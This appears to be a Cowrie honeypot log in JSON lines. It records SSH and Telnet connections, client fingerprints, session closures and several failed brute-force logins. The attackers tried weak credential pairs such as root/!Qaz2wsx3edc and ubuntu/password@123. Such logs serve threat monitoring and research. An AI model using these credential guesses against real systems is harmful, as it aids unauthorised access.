{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:50.473831Z","src_ip":"14.63.196.175","session":"0cd6411ad09e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:50.676182Z","src_ip":"14.63.196.175","session":"0cd6411ad09e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:51.337934Z","src_ip":"45.148.10.152","session":"cab02f3c1ecf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@Admin","message":"login attempt [root/root@Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:51.517911Z","src_ip":"14.63.196.175","session":"0cd6411ad09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:52.723428Z","src_ip":"14.63.196.175","session":"0cd6411ad09e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:54.650514Z","src_ip":"45.148.10.152","session":"cab02f3c1ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49582,"dst_ip":"159.203.135.109","dst_port":23,"session":"56ec938c6828","protocol":"telnet","message":"New connection: 128.199.8.54:49582 (159.203.135.109:23) [session: 56ec938c6828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:02.861586Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":45608,"dst_ip":"10.17.0.5","dst_port":23,"session":"f206da2c1619","protocol":"telnet","message":"New connection: 94.23.66.112:45608 (10.17.0.5:23) [session: f206da2c1619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:12.691633Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37474,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c04544f10e4","protocol":"telnet","message":"New connection: 172.81.62.90:37474 (159.203.135.109:23) [session: 8c04544f10e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:14.769195Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37482,"dst_ip":"159.203.135.109","dst_port":23,"session":"7575b7556765","protocol":"telnet","message":"New connection: 172.81.62.90:37482 (159.203.135.109:23) [session: 7575b7556765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:15.800270Z"}
{"eventid":"cowrie.session.closed","duration":4.814499855041504,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:17.505988Z","src_ip":"94.23.66.112","session":"f206da2c1619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":43216,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dff16ea5101","protocol":"ssh","message":"New connection: 103.84.236.242:43216 (159.203.135.109:22) [session: 0dff16ea5101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:22.140633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:22.145137Z","src_ip":"103.84.236.242","session":"0dff16ea5101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:22.373353Z","src_ip":"103.84.236.242","session":"0dff16ea5101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"password","message":"login attempt [sol/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:23.321700Z","src_ip":"103.84.236.242","session":"0dff16ea5101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:24.553594Z","src_ip":"103.84.236.242","session":"0dff16ea5101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":35218,"dst_ip":"159.203.135.109","dst_port":22,"session":"af3415738ee7","protocol":"ssh","message":"New connection: 102.213.34.99:35218 (159.203.135.109:22) [session: af3415738ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:38.987821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:38.991511Z","src_ip":"102.213.34.99","session":"af3415738ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:39.160823Z","src_ip":"102.213.34.99","session":"af3415738ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:39.877257Z","src_ip":"102.213.34.99","session":"af3415738ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:41.054006Z","src_ip":"102.213.34.99","session":"af3415738ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.999289989471436,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:48.860752Z","src_ip":"128.199.8.54","session":"56ec938c6828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":35250,"dst_ip":"159.203.135.109","dst_port":22,"session":"9370419abffe","protocol":"ssh","message":"New connection: 152.32.214.226:35250 (159.203.135.109:22) [session: 9370419abffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:50.636976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:50.641295Z","src_ip":"152.32.214.226","session":"9370419abffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:50.854077Z","src_ip":"152.32.214.226","session":"9370419abffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"car","password":"car","message":"login attempt [car/car] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:51.739478Z","src_ip":"152.32.214.226","session":"9370419abffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.934863328933716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:52.734995Z","src_ip":"172.81.62.90","session":"7575b7556765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:52.954727Z","src_ip":"152.32.214.226","session":"9370419abffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.012351274490356,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:53.781423Z","src_ip":"172.81.62.90","session":"8c04544f10e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":5669,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e9e680857df","protocol":"ssh","message":"New connection: 36.92.41.115:5669 (10.17.0.5:22) [session: 0e9e680857df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:55.225211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:55.230050Z","src_ip":"36.92.41.115","session":"0e9e680857df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:55.493903Z","src_ip":"36.92.41.115","session":"0e9e680857df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz2wsx3edc","message":"login attempt [root/!Qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:56.578239Z","src_ip":"36.92.41.115","session":"0e9e680857df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:08:57.845524Z","src_ip":"36.92.41.115","session":"0e9e680857df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":53678,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4dedebeca87","protocol":"ssh","message":"New connection: 181.188.176.242:53678 (10.17.0.5:22) [session: d4dedebeca87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:04.299917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:04.305634Z","src_ip":"181.188.176.242","session":"d4dedebeca87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:04.471262Z","src_ip":"181.188.176.242","session":"d4dedebeca87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password@123","message":"login attempt [ubuntu/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:05.163995Z","src_ip":"181.188.176.242","session":"d4dedebeca87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:06.337764Z","src_ip":"181.188.176.242","session":"d4dedebeca87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":35802,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbaa15e6d431","protocol":"ssh","message":"New connection: 102.210.148.92:35802 (159.203.135.109:22) [session: dbaa15e6d431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:06.636262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:06.639940Z","src_ip":"102.210.148.92","session":"dbaa15e6d431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:06.878842Z","src_ip":"102.210.148.92","session":"dbaa15e6d431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"ved","message":"login attempt [dev/ved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:07.870889Z","src_ip":"102.210.148.92","session":"dbaa15e6d431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":41334,"dst_ip":"10.17.0.5","dst_port":22,"session":"86d6149d7b6e","protocol":"ssh","message":"New connection: 45.123.217.22:41334 (10.17.0.5:22) [session: 86d6149d7b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:09.048007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:09:09.056998Z","src_ip":"45.123.217.22","session":"86d6149d7b6e","protocol":"ssh"}
